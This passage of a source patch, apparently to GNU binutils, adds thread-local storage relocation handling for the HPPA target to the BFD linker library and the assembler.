+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDMCALL", FALSE, 0, 0, FALSE },
+  /* 240 */
+  { R_PARISC_TLS_LDO21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDO21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDO14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDO14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPMOD32, 0, 0, 32, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPMOD32", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPMOD64, 0, 0, 64, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPMOD64", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPOFF32, 0, 0, 32, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPOFF32", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_DTPOFF64, 0, 0, 64, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_DTPOFF64", FALSE, 0, 0, FALSE },
 };
 
 #define OFFSET_14R_FROM_21L 4
@@ -837,6 +862,82 @@ elf_hppa_reloc_final_type (bfd *abfd,
 	  return R_PARISC_NONE;
 	}
       break;
+      
+    case R_PARISC_TLS_GD21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_GD21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_GD14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LDM21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LDM21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LDM14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LDO21L:
+      switch (field)
+	{
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LDO21L;
+	    break;
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LDO14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_IE21L:
+      switch (field)
+	{
+	  case e_ltsel:
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_IE21L;
+	    break;
+	  case e_rtsel:
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_IE14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
+
+    case R_PARISC_TLS_LE21L:
+      switch (field)
+	{
+	  case e_lrsel:
+	    final_type = R_PARISC_TLS_LE21L;
+	    break;
+	  case e_rrsel:
+	    final_type = R_PARISC_TLS_LE14R;
+	    break;
+	  default:
+	    return R_PARISC_NONE;
+	}
+      break;
 
     case R_PARISC_GNU_VTENTRY:
     case R_PARISC_GNU_VTINHERIT:
Index: bfd/elf32-hppa.c
===================================================================
RCS file: /cvs/src/src/bfd/elf32-hppa.c,v
retrieving revision 1.144
diff -u -p -r1.144 elf32-hppa.c
--- bfd/elf32-hppa.c	16 Mar 2006 12:20:15 -0000	1.144
+++ bfd/elf32-hppa.c	14 May 2006 23:14:45 -0000
@@ -7,7 +7,9 @@
 	Department of Computer Science
 	University of Utah
    Largely rewritten by Alan Modra <alan@linuxcare.com.au>
-
+   Naming cleanup by Carlos O'Donell <carlos@systemhalted.org>
+   TLS support written by Randolph Chung <tausq@debian.org>
+ 
    This file is part of BFD, the Binary File Descriptor library.
 
    This program is free software; you can redistribute it and/or modify
@@ -230,6 +232,10 @@ struct elf32_hppa_link_hash_entry {
 #endif
   } *dyn_relocs;
 
+  enum {
+    GOT_UNKNOWN = 0, GOT_NORMAL = 1, GOT_TLS_GD = 2, GOT_TLS_LDM = 4, GOT_TLS_IE = 8
+  } tls_type;
+
   /* Set if this symbol is used by a plabel reloc.  */
   unsigned int plabel:1;
 };
@@ -292,6 +298,12 @@ struct elf32_hppa_link_hash_table {
 
   /* Small local sym to section mapping cache.  */
   struct sym_sec_cache sym_sec;
+
+  /* Data for LDM relocations.  */
+  union {
+    bfd_signed_vma refcount;
+    bfd_vma offset;
+  } tls_ldm_got;
 };
 
 /* Various hash macros and functions.  */
@@ -308,6 +320,19 @@ struct elf32_hppa_link_hash_table {
   ((struct elf32_hppa_stub_hash_entry *) \
    bfd_hash_lookup ((table), (string), (create), (copy)))
 
+#define hppa_elf_local_got_tls_type(abfd) \
+  ((char *)(elf_local_got_offsets (abfd) + (elf_tdata (abfd)->symtab_hdr.sh_info * 2)))
+
+#define hh_name(hh) \
+  (hh ? hh->eh.root.root.string : "<undef>")
+
+#define eh_name(eh) \
+  (eh ? eh->root.root.string : "<undef>")
+
+static int
+elf32_hppa_optimized_tls_reloc (struct bfd_link_info *info,
+				int r_type, int is_local);
+
 /* Assorted hash table functions.  */
 
 /* Initialize an entry in the stub hash table.  */
@@ -375,6 +400,7 @@ hppa_link_hash_newfunc (struct bfd_hash_
       hh->hsh_cache = NULL;
       hh->dyn_relocs = NULL;
       hh->plabel = 0;
+      hh->tls_type = GOT_UNKNOWN;
     }
 
   return entry;
@@ -424,6 +450,7 @@ elf32_hppa_link_hash_table_create (bfd *
   htab->has_22bit_branch = 0;
   htab->need_plt_stub = 0;
   htab->sym_sec.abfd = NULL;
+  htab->tls_ldm_got.refcount = 0;
 
   return &htab->etab.root;
 }
@@ -453,13 +480,13 @@ hppa_stub_name (const asection *input_se
 
   if (hh)
     {
-      len = 8 + 1 + strlen (hh->eh.root.root.string) + 1 + 8 + 1;
+      len = 8 + 1 + strlen (hh_name (hh)) + 1 + 8 + 1;
       stub_name = bfd_malloc (len);
       if (stub_name != NULL)
 	{
 	  sprintf (stub_name, "%08x_%s+%x",
 		   input_section->id & 0xffffffff,
-		   hh->eh.root.root.string,
+		   hh_name (hh),
 		   (int) rela->r_addend & 0xffffffff);
 	}
     }
@@ -1063,7 +1090,16 @@ elf32_hppa_copy_indirect_symbol (struct 
       eh_dir->needs_plt |= eh_ind->needs_plt;
     }
   else
-   _bfd_elf_link_hash_copy_indirect (info, eh_dir, eh_ind);
+    {
+      if (eh_ind->root.type == bfd_link_hash_indirect
+          && eh_dir->got.refcount <= 0)
+        {
+          hh_dir->tls_type = hh_ind->tls_type;
+          hh_ind->tls_type = GOT_UNKNOWN;
+        }
+
+      _bfd_elf_link_hash_copy_indirect (info, eh_dir, eh_ind);
+    }
 }
 
 /* Look through the relocs for a section during the first phase, and
@@ -1084,6 +1120,7 @@ elf32_hppa_check_relocs (bfd *abfd,
   struct elf32_hppa_link_hash_table *htab;
   asection *sreloc;
   asection *stubreloc;
+  int tls_type = GOT_UNKNOWN, old_tls_type = GOT_UNKNOWN;
 
   if (info->relocatable)
     return TRUE;
@@ -1121,6 +1158,7 @@ elf32_hppa_check_relocs (bfd *abfd,
 	}
 
       r_type = ELF32_R_TYPE (rela->r_info);
+      r_type = elf32_hppa_optimized_tls_reloc (info, r_type, hh == NULL);
 
       switch (r_type)
 	{
@@ -1243,6 +1281,20 @@ elf32_hppa_check_relocs (bfd *abfd,
 	    return FALSE;
 	  continue;
 
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  need_entry = NEED_GOT;
+	  break;
+
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
+	  if (info->shared)
+            info->flags |= DF_STATIC_TLS;
+	  need_entry = NEED_GOT;
+	  break;
+
 	default:
 	  continue;
 	}
@@ -1250,6 +1302,25 @@ elf32_hppa_check_relocs (bfd *abfd,
       /* Now carry out our orders.  */
       if (need_entry & NEED_GOT)
 	{
+	  switch (r_type)
+	    {
+	    default:
+	      tls_type = GOT_NORMAL;
+	      break;
+	    case R_PARISC_TLS_GD21L:
+	    case R_PARISC_TLS_GD14R:
+	      tls_type |= GOT_TLS_GD;
+	      break;
+	    case R_PARISC_TLS_LDM21L:
+	    case R_PARISC_TLS_LDM14R:
+	      tls_type |= GOT_TLS_LDM;
+	      break;
+	    case R_PARISC_TLS_IE21L:
+	    case R_PARISC_TLS_IE14R:
+	      tls_type |= GOT_TLS_IE;
+	      break;
+	    }
+
 	  /* Allocate space for a GOT entry, as well as a dynamic
 	     relocation for this entry.  */
 	  if (htab->sgot == NULL)
@@ -1260,31 +1331,56 @@ elf32_hppa_check_relocs (bfd *abfd,
 		return FALSE;
 	    }
 
-	  if (hh != NULL)
-	    {
-	      hh->eh.got.refcount += 1;
-	    }
+	  if (r_type == R_PARISC_TLS_LDM21L
+	      || r_type == R_PARISC_TLS_LDM14R)
+	    hppa_link_hash_table (info)->tls_ldm_got.refcount += 1;
 	  else
 	    {
-	      bfd_signed_vma *local_got_refcounts;
-              /* This is a global offset table entry for a local symbol.  */
-	      local_got_refcounts = elf_local_got_refcounts (abfd);
-	      if (local_got_refcounts == NULL)
-		{
-		  bfd_size_type size;
+	      if (hh != NULL)
+	        {
+	          hh->eh.got.refcount += 1;
+	          old_tls_type = hh->tls_type;
+	        }
+	      else
+	        {
+	          bfd_signed_vma *local_got_refcounts;
+		  
+	          /* This is a global offset table entry for a local symbol.  */
+	          local_got_refcounts = elf_local_got_refcounts (abfd);
+	          if (local_got_refcounts == NULL)
+		    {
+		      bfd_size_type size;
+
+		      /* Allocate space for local got offsets and local
+		         plt offsets.  Done this way to save polluting
+		         elf_obj_tdata with another target specific
+		         pointer.  */
+		      size = symtab_hdr->sh_info;
+		      size *= 2 * sizeof (bfd_signed_vma);
+		      /* Add in space to store the local GOT TLS types.  */
+		      size += symtab_hdr->sh_info;
+		      local_got_refcounts = bfd_zalloc (abfd, size);
+		      if (local_got_refcounts == NULL)
+		        return FALSE;
+		      elf_local_got_refcounts (abfd) = local_got_refcounts;
+		      memset (hppa_elf_local_got_tls_type (abfd),
+		    	  GOT_UNKNOWN, symtab_hdr->sh_info);
+		    }
+	          local_got_refcounts[r_symndx] += 1;
+
+	          old_tls_type = hppa_elf_local_got_tls_type (abfd) [r_symndx];
+	        }
+
+	      tls_type |= old_tls_type;
+
+	      if (old_tls_type != tls_type)
+	        {
+	          if (hh != NULL)
+		    hh->tls_type = tls_type;
+	          else
+		    hppa_elf_local_got_tls_type (abfd) [r_symndx] = tls_type;
+	        }
 
-		  /* Allocate space for local got offsets and local
-		     plt offsets.  Done this way to save polluting
-		     elf_obj_tdata with another target specific
-		     pointer.  */
-		  size = symtab_hdr->sh_info;
-		  size *= 2 * sizeof (bfd_signed_vma);
-		  local_got_refcounts = bfd_zalloc (abfd, size);
-		  if (local_got_refcounts == NULL)
-		    return FALSE;
-		  elf_local_got_refcounts (abfd) = local_got_refcounts;
-		}
-	      local_got_refcounts[r_symndx] += 1;
 	    }
 	}
 
@@ -1325,6 +1421,8 @@ elf32_hppa_check_relocs (bfd *abfd,
 			 plt offsets.  */
 		      size = symtab_hdr->sh_info;
 		      size *= 2 * sizeof (bfd_signed_vma);
+		      /* Add in space to store the local GOT TLS types.  */
+		      size += symtab_hdr->sh_info;
 		      local_got_refcounts = bfd_zalloc (abfd, size);
 		      if (local_got_refcounts == NULL)
 			return FALSE;
@@ -1578,11 +1676,17 @@ elf32_hppa_gc_sweep_hook (bfd *abfd,
 	}
 
       r_type = ELF32_R_TYPE (rela->r_info);
+      r_type = elf32_hppa_optimized_tls_reloc (info, r_type, eh != NULL);
+
       switch (r_type)
 	{
 	case R_PARISC_DLTIND14F:
 	case R_PARISC_DLTIND14R:
 	case R_PARISC_DLTIND21L:
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
 	  if (eh != NULL)
 	    {
 	      if (eh->got.refcount > 0)
@@ -1595,6 +1699,11 @@ elf32_hppa_gc_sweep_hook (bfd *abfd,
 	    }
 	  break;
 
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  hppa_link_hash_table (info)->tls_ldm_got.refcount -= 1;
+	  break;
+
 	case R_PARISC_PCREL12F:
 	case R_PARISC_PCREL17C:
 	case R_PARISC_PCREL17F:
@@ -1982,12 +2091,22 @@ allocate_dynrelocs (struct elf_link_hash
       sec = htab->sgot;
       eh->got.offset = sec->size;
       sec->size += GOT_ENTRY_SIZE;
+      /* R_PARISC_TLS_GD* needs two GOT entries */
+      if ((hh->tls_type & (GOT_TLS_GD|GOT_TLS_IE)) 
+	  == (GOT_TLS_GD|GOT_TLS_IE))
+      	sec->size += GOT_ENTRY_SIZE * 2;
+      else if ((hh->tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+      	sec->size += GOT_ENTRY_SIZE;
       if (htab->etab.dynamic_sections_created
 	  && (info->shared
 	      || (eh->dynindx != -1
 		  && !eh->forced_local)))
 	{
 	  htab->srelgot->size += sizeof (Elf32_External_Rela);
+	  if ((hh->tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+	    htab->srelgot->size += 2 * sizeof (Elf32_External_Rela);
+	  else if ((hh->tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+	    htab->srelgot->size += sizeof (Elf32_External_Rela);
 	}
     }
   else
@@ -2181,6 +2300,7 @@ elf32_hppa_size_dynamic_sections (bfd *o
       bfd_size_type locsymcount;
       Elf_Internal_Shdr *symtab_hdr;
       asection *srel;
+      char *local_tls_type;
 
       if (bfd_get_flavour (ibfd) != bfd_target_elf_flavour)
 	continue;
@@ -2219,6 +2339,7 @@ elf32_hppa_size_dynamic_sections (bfd *o
       symtab_hdr = &elf_tdata (ibfd)->symtab_hdr;
       locsymcount = symtab_hdr->sh_info;
       end_local_got = local_got + locsymcount;
+      local_tls_type = hppa_elf_local_got_tls_type (ibfd);
       sec = htab->sgot;
       srel = htab->srelgot;
       for (; local_got < end_local_got; ++local_got)
@@ -2227,11 +2348,23 @@ elf32_hppa_size_dynamic_sections (bfd *o
 	    {
 	      *local_got = sec->size;
 	      sec->size += GOT_ENTRY_SIZE;
+	      if ((*local_tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+		sec->size += 2 * GOT_ENTRY_SIZE;
+	      else if ((*local_tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+		sec->size += GOT_ENTRY_SIZE;
 	      if (info->shared) 
-		srel->size += sizeof (Elf32_External_Rela);
+	        {
+		  srel->size += sizeof (Elf32_External_Rela);
+		  if ((*local_tls_type & (GOT_TLS_GD|GOT_TLS_IE)) == (GOT_TLS_GD|GOT_TLS_IE))
+		    srel->size += 2 * sizeof (Elf32_External_Rela);
+		  else if ((*local_tls_type & GOT_TLS_GD) == GOT_TLS_GD)
+		    srel->size += sizeof (Elf32_External_Rela);
+	        }
 	    }
 	  else
 	    *local_got = (bfd_vma) -1;
+
+	  ++local_tls_type;
 	}
 
       local_plt = end_local_got;
@@ -2260,6 +2393,17 @@ elf32_hppa_size_dynamic_sections (bfd *o
 	    }
 	}
     }
+  
+  if (htab->tls_ldm_got.refcount > 0)
+    {
+      /* Allocate 2 got entries and 1 dynamic reloc for 
+         R_PARISC_TLS_DTPMOD32 relocs.  */
+      htab->tls_ldm_got.offset = htab->sgot->size;
+      htab->sgot->size += (GOT_ENTRY_SIZE * 2);
+      htab->srelgot->size += sizeof (Elf32_External_Rela);
+    }
+  else
+    htab->tls_ldm_got.offset = -1;
 
   /* Do all the .plt entries without relocs first.  The dynamic linker
      uses the last .plt reloc to find the end of the .plt (and hence
@@ -2670,7 +2814,7 @@ get_local_syms (bfd *output_bfd, bfd *in
 		  struct elf32_hppa_stub_hash_entry *hsh;
 
 		  sec = hh->eh.root.u.def.section;
-		  stub_name = hh->eh.root.root.string;
+		  stub_name = hh_name (hh);
 		  hsh = hppa_stub_hash_lookup (&htab->bstab,
 						      stub_name,
 						      FALSE, FALSE);
@@ -3104,6 +3248,35 @@ elf32_hppa_build_stubs (struct bfd_link_
   return TRUE;
 }
 
+/* Return the base vma address which should be subtracted from the real
+   address when resolving a dtpoff relocation.  
+   This is PT_TLS segment p_vaddr.  */
+
+static bfd_vma
+dtpoff_base (struct bfd_link_info *info)
+{
+  /* If tls_sec is NULL, we should have signalled an error already.  */
+  if (elf_hash_table (info)->tls_sec == NULL)
+    return 0;
+  return elf_hash_table (info)->tls_sec->vma;
+}
+
+/* Return the relocation value for R_PARISC_TLS_TPOFF*..  */
+
+static bfd_vma
+tpoff (struct bfd_link_info *info, bfd_vma address)
+{
+  struct elf_link_hash_table *htab = elf_hash_table (info);
+
+  /* If tls_sec is NULL, we should have signalled an error already.  */
+  if (htab->tls_sec == NULL)
+    return 0;
+  /* hppa TLS ABI is variant I and static TLS block start just after 
+     tcbhead structure which has 2 pointer fields.  */
+  return (address - htab->tls_sec->vma 
+	  + align_power ((bfd_vma) 8, htab->tls_sec->alignment_power));
+}
+
 /* Perform a final link.  */
 
 static bfd_boolean
@@ -3315,6 +3488,12 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND21L:
     case R_PARISC_DLTIND14R:
     case R_PARISC_DLTIND14F:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_GD14R:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_LDM14R:
+    case R_PARISC_TLS_IE21L:
+    case R_PARISC_TLS_IE14R:
       value -= elf_gp (input_section->output_section->owner);
       break;
 
@@ -3342,6 +3521,9 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DLTIND14F:
     case R_PARISC_SEGBASE:
     case R_PARISC_SEGREL32:
+    case R_PARISC_TLS_DTPMOD32:
+    case R_PARISC_TLS_DTPOFF32:
+    case R_PARISC_TLS_TPREL32:
       r_field = e_fsel;
       break;
 
@@ -3353,6 +3535,11 @@ final_link_relocate (asection *input_sec
 
     case R_PARISC_DIR21L:
     case R_PARISC_DPREL21L:
+    case R_PARISC_TLS_GD21L:
+    case R_PARISC_TLS_LDM21L:
+    case R_PARISC_TLS_LDO21L:
+    case R_PARISC_TLS_IE21L:
+    case R_PARISC_TLS_LE21L:
       r_field = e_lrsel;
       break;
 
@@ -3366,6 +3553,11 @@ final_link_relocate (asection *input_sec
     case R_PARISC_DIR17R:
     case R_PARISC_DIR14R:
     case R_PARISC_DPREL14R:
+    case R_PARISC_TLS_GD14R:
+    case R_PARISC_TLS_LDM14R:
+    case R_PARISC_TLS_LDO14R:
+    case R_PARISC_TLS_IE14R:
+    case R_PARISC_TLS_LE14R:
       r_field = e_rrsel;
       break;
 
@@ -3460,6 +3652,14 @@ final_link_relocate (asection *input_sec
   return bfd_reloc_ok;
 }
 
+static int
+elf32_hppa_optimized_tls_reloc (struct bfd_link_info *info ATTRIBUTE_UNUSED,
+				int r_type, int is_local ATTRIBUTE_UNUSED)
+{
+  /* For now we don't support linker optimizations.  */
+  return r_type;
+}
+
 /* Relocate an HPPA ELF section.  */
 
 static bfd_boolean
@@ -3546,7 +3746,7 @@ elf32_hppa_relocate_section (bfd *output
 		  && eh->type == STT_PARISC_MILLI)
 		{
 		  if (! info->callbacks->undefined_symbol
-		      (info, eh->root.root.string, input_bfd,
+		      (info, eh_name (eh), input_bfd,
 		       input_section, rela->r_offset, FALSE))
 		    return FALSE;
 		  warned_undef = TRUE;
@@ -3875,6 +4075,198 @@ elf32_hppa_relocate_section (bfd *output
 	      bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
 	    }
 	  break;
+	  
+	case R_PARISC_TLS_LDM21L:
+	case R_PARISC_TLS_LDM14R:
+	  {
+	    bfd_vma off;
+	
+	    off = htab->tls_ldm_got.offset;
+	    if (off & 1)
+	      off &= ~1;
+	    else
+	      {
+		Elf_Internal_Rela outrel;
+		bfd_byte *loc;
+
+		outrel.r_offset = (off 
+				   + htab->sgot->output_section->vma
+				   + htab->sgot->output_offset);
+		outrel.r_addend = 0;
+		outrel.r_info = ELF32_R_INFO (0, R_PARISC_TLS_DTPMOD32);
+		loc = htab->srelgot->contents; 
+		loc += htab->srelgot->reloc_count++ * sizeof (Elf32_External_Rela);
+
+		bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+		htab->tls_ldm_got.offset |= 1;
+	      }
+
+	    /* Add the base of the GOT to the relocation value.  */
+	    relocation = (off
+			  + htab->sgot->output_offset
+			  + htab->sgot->output_section->vma);
+
+	    break;
+	  }
+
+	case R_PARISC_TLS_LDO21L:
+	case R_PARISC_TLS_LDO14R:
+	  relocation -= dtpoff_base (info);
+	  break;
+
+	case R_PARISC_TLS_GD21L:
+	case R_PARISC_TLS_GD14R:
+	case R_PARISC_TLS_IE21L:
+	case R_PARISC_TLS_IE14R:
+	  {
+	    bfd_vma off;
+	    int indx;
+	    char tls_type;
+
+	    indx = 0;
+	    if (hh != NULL)
+	      {
+	        bfd_boolean dyn;
+	        dyn = htab->etab.dynamic_sections_created;
+
+		if (WILL_CALL_FINISH_DYNAMIC_SYMBOL (dyn, info->shared, &hh->eh)
+		    && (!info->shared
+			|| !SYMBOL_REFERENCES_LOCAL (info, &hh->eh)))
+		  {
+		    indx = hh->eh.dynindx;
+		  }
+		off = hh->eh.got.offset;
+		tls_type = hh->tls_type;
+	      }
+	    else
+	      {
+		off = local_got_offsets[r_symndx];
+		tls_type = hppa_elf_local_got_tls_type (input_bfd)[r_symndx];
+	      }
+
+	    if (tls_type == GOT_UNKNOWN)
+	      abort();
+
+	    if ((off & 1) != 0)
+	      off &= ~1;
+	    else
+	      {
+		bfd_boolean need_relocs = FALSE;
+		Elf_Internal_Rela outrel;
+		bfd_byte *loc = NULL;
+		int cur_off = off;
+
+	        /* The GOT entries have not been initialized yet.  Do it
+	           now, and emit any relocations.  If both an IE GOT and a
+	           GD GOT are necessary, we emit the GD first.  */
+
+		if ((info->shared || indx != 0)
+		    && (hh == NULL
+			|| ELF_ST_VISIBILITY (hh->eh.other) == STV_DEFAULT
+			|| hh->eh.root.type != bfd_link_hash_undefweak))
+		  {
+		    need_relocs = TRUE;
+		    loc = htab->srelgot->contents; 
+		    /* FIXME (CAO): Should this be reloc_count++ ? */
+		    loc += htab->srelgot->reloc_count * sizeof (Elf32_External_Rela);
+		  }
+
+		if (tls_type & GOT_TLS_GD)
+		  {
+		    if (need_relocs)
+		      {
+			outrel.r_offset = (cur_off
+					   + htab->sgot->output_section->vma
+					   + htab->sgot->output_offset);
+			outrel.r_info = ELF32_R_INFO (indx,R_PARISC_TLS_DTPMOD32);
+			outrel.r_addend = 0;
+			bfd_put_32 (output_bfd, 0, htab->sgot->contents + cur_off);
+			bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+			htab->srelgot->reloc_count++;
+			loc += sizeof (Elf32_External_Rela);
+
+			if (indx == 0)
+			  bfd_put_32 (output_bfd, relocation - dtpoff_base (info),
+				      htab->sgot->contents + cur_off + 4);
+			else
+			  {
+			    bfd_put_32 (output_bfd, 0,
+					htab->sgot->contents + cur_off + 4);
+			    outrel.r_info = ELF32_R_INFO (indx, R_PARISC_TLS_DTPOFF32);
+			    outrel.r_offset += 4;
+			    bfd_elf32_swap_reloca_out (output_bfd, &outrel,loc);
+			    htab->srelgot->reloc_count++;
+			    loc += sizeof (Elf32_External_Rela);
+			  }
+		      }
+		    else
+		      {
+		        /* If we are not emitting relocations for a
+		           general dynamic reference, then we must be in a
+		           static link or an executable link with the
+		           symbol binding locally.  Mark it as belonging
+		           to module 1, the executable.  */
+		        bfd_put_32 (output_bfd, 1,
+				    htab->sgot->contents + cur_off);
+		        bfd_put_32 (output_bfd, relocation - dtpoff_base (info),
+				    htab->sgot->contents + cur_off + 4);
+		      }
+
+
+		    cur_off += 8;
+		  }
+
+		if (tls_type & GOT_TLS_IE)
+		  {
+		    if (need_relocs)
+		      {
+			outrel.r_offset = (cur_off
+					   + htab->sgot->output_section->vma
+					   + htab->sgot->output_offset);
+			outrel.r_info = ELF32_R_INFO (indx, R_PARISC_TLS_TPREL32);
+
+			if (indx == 0)
+			  outrel.r_addend = relocation - dtpoff_base (info);
+			else
+			  outrel.r_addend = 0;
+
+			bfd_elf32_swap_reloca_out (output_bfd, &outrel, loc);
+			htab->srelgot->reloc_count++;
+			loc += sizeof (Elf32_External_Rela);
+		      }
+		    else
+		      bfd_put_32 (output_bfd, tpoff (info, relocation),
+				  htab->sgot->contents + cur_off);
+
+		    cur_off += 4;
+		  }
+
+		if (hh != NULL)
+		  hh->eh.got.offset |= 1;
+		else
+		  local_got_offsets[r_symndx] |= 1;
+	      }
+
+	    if ((tls_type & GOT_TLS_GD)
+	  	&& r_type != R_PARISC_TLS_GD21L
+	  	&& r_type != R_PARISC_TLS_GD14R)
+	      off += 2 * GOT_ENTRY_SIZE;
+
+	    /* Add the base of the GOT to the relocation value.  */
+	    relocation = (off
+			  + htab->sgot->output_offset
+			  + htab->sgot->output_section->vma);
+
+	    break;
+	  }
+
+	case R_PARISC_TLS_LE21L:
+	case R_PARISC_TLS_LE14R:
+	  {
+	    relocation = tpoff (info, relocation);
+	    break;
+	  }
+	  break;
 
 	default:
 	  break;
@@ -3887,7 +4279,7 @@ elf32_hppa_relocate_section (bfd *output
 	continue;
 
       if (hh != NULL)
-	sym_name = hh->eh.root.root.string;
+	sym_name = hh_name (hh);
       else
 	{
 	  sym_name = bfd_elf_string_from_elf_section (input_bfd,
@@ -3996,7 +4388,9 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
 	}
     }
 
-  if (eh->got.offset != (bfd_vma) -1)
+  if (eh->got.offset != (bfd_vma) -1
+      && (hppa_elf_hash_entry (eh)->tls_type & GOT_TLS_GD) == 0
+      && (hppa_elf_hash_entry (eh)->tls_type & GOT_TLS_IE) == 0)
     {
       /* This symbol has an entry in the global offset table.  Set it
 	 up.  */
@@ -4057,8 +4451,8 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
     }
 
   /* Mark _DYNAMIC and _GLOBAL_OFFSET_TABLE_ as absolute.  */
-  if (eh->root.root.string[0] == '_'
-      && (strcmp (eh->root.root.string, "_DYNAMIC") == 0
+  if (eh_name (eh)[0] == '_'
+      && (strcmp (eh_name (eh), "_DYNAMIC") == 0
 	  || eh == htab->etab.hgot))
     {
       sym->st_shndx = SHN_ABS;
@@ -4073,6 +4467,17 @@ elf32_hppa_finish_dynamic_symbol (bfd *o
 static enum elf_reloc_type_class
 elf32_hppa_reloc_type_class (const Elf_Internal_Rela *rela)
 {
+  /* Handle TLS relocs first; we don't want them to be marked
+     relative by the "if (ELF32_R_SYM (rela->r_info) == 0)"
+     check below.  */
+  switch ((int) ELF32_R_TYPE (rela->r_info))
+    {
+      case R_PARISC_TLS_DTPMOD32:
+      case R_PARISC_TLS_DTPOFF32:
+      case R_PARISC_TLS_TPREL32:
+        return reloc_class_normal;
+    }
+
   if (ELF32_R_SYM (rela->r_info) == 0)
     return reloc_class_relative;
 
Index: gas/config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.130
diff -u -p -r1.130 tc-hppa.c
--- gas/config/tc-hppa.c	3 May 2006 14:26:41 -0000	1.130
+++ gas/config/tc-hppa.c	14 May 2006 23:14:45 -0000
@@ -1215,6 +1215,26 @@ static struct default_space_dict pa_def_
   ((exp).X_op == O_subtract			\
    && strcmp (S_GET_NAME ((exp).X_op_symbol), "$PIC_pcrel$0") == 0)
 
+#define is_tls_gdidx(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_gdidx$") == 0)
+
+#define is_tls_ldidx(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_ldidx$") == 0)
+
+#define is_tls_dtpoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_dtpoff$") == 0)
+
+#define is_tls_ieoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_ieoff$") == 0)
+
+#define is_tls_leoff(exp)			\
+  ((exp).X_op == O_subtract			\
+   && strcmp (S_GET_NAME ((exp).X_op_symbol), "$tls_leoff$") == 0)
+
 /* We need some complex handling for stabs (sym1 - sym2).  Luckily, we'll
    always be able to reduce the expression to a constant, so we don't
    need real complex handling yet.  */
@@ -1380,7 +1400,12 @@ fix_new_hppa (frag, where, size, add_sym
      it now so as not to confuse write.c.  Ditto for $PIC_pcrel$0.  */
   if (new_fix->fx_subsy
       && (strcmp (S_GET_NAME (new_fix->fx_subsy), "$global$") == 0
-	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$PIC_pcrel$0") == 0))
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$PIC_pcrel$0") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_gdidx$") == 0 
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_ldidx$") == 0 
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_dtpoff$") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_ieoff$") == 0
+	  || strcmp (S_GET_NAME (new_fix->fx_subsy), "$tls_leoff$") == 0))
     new_fix->fx_subsy = NULL;
 }
 
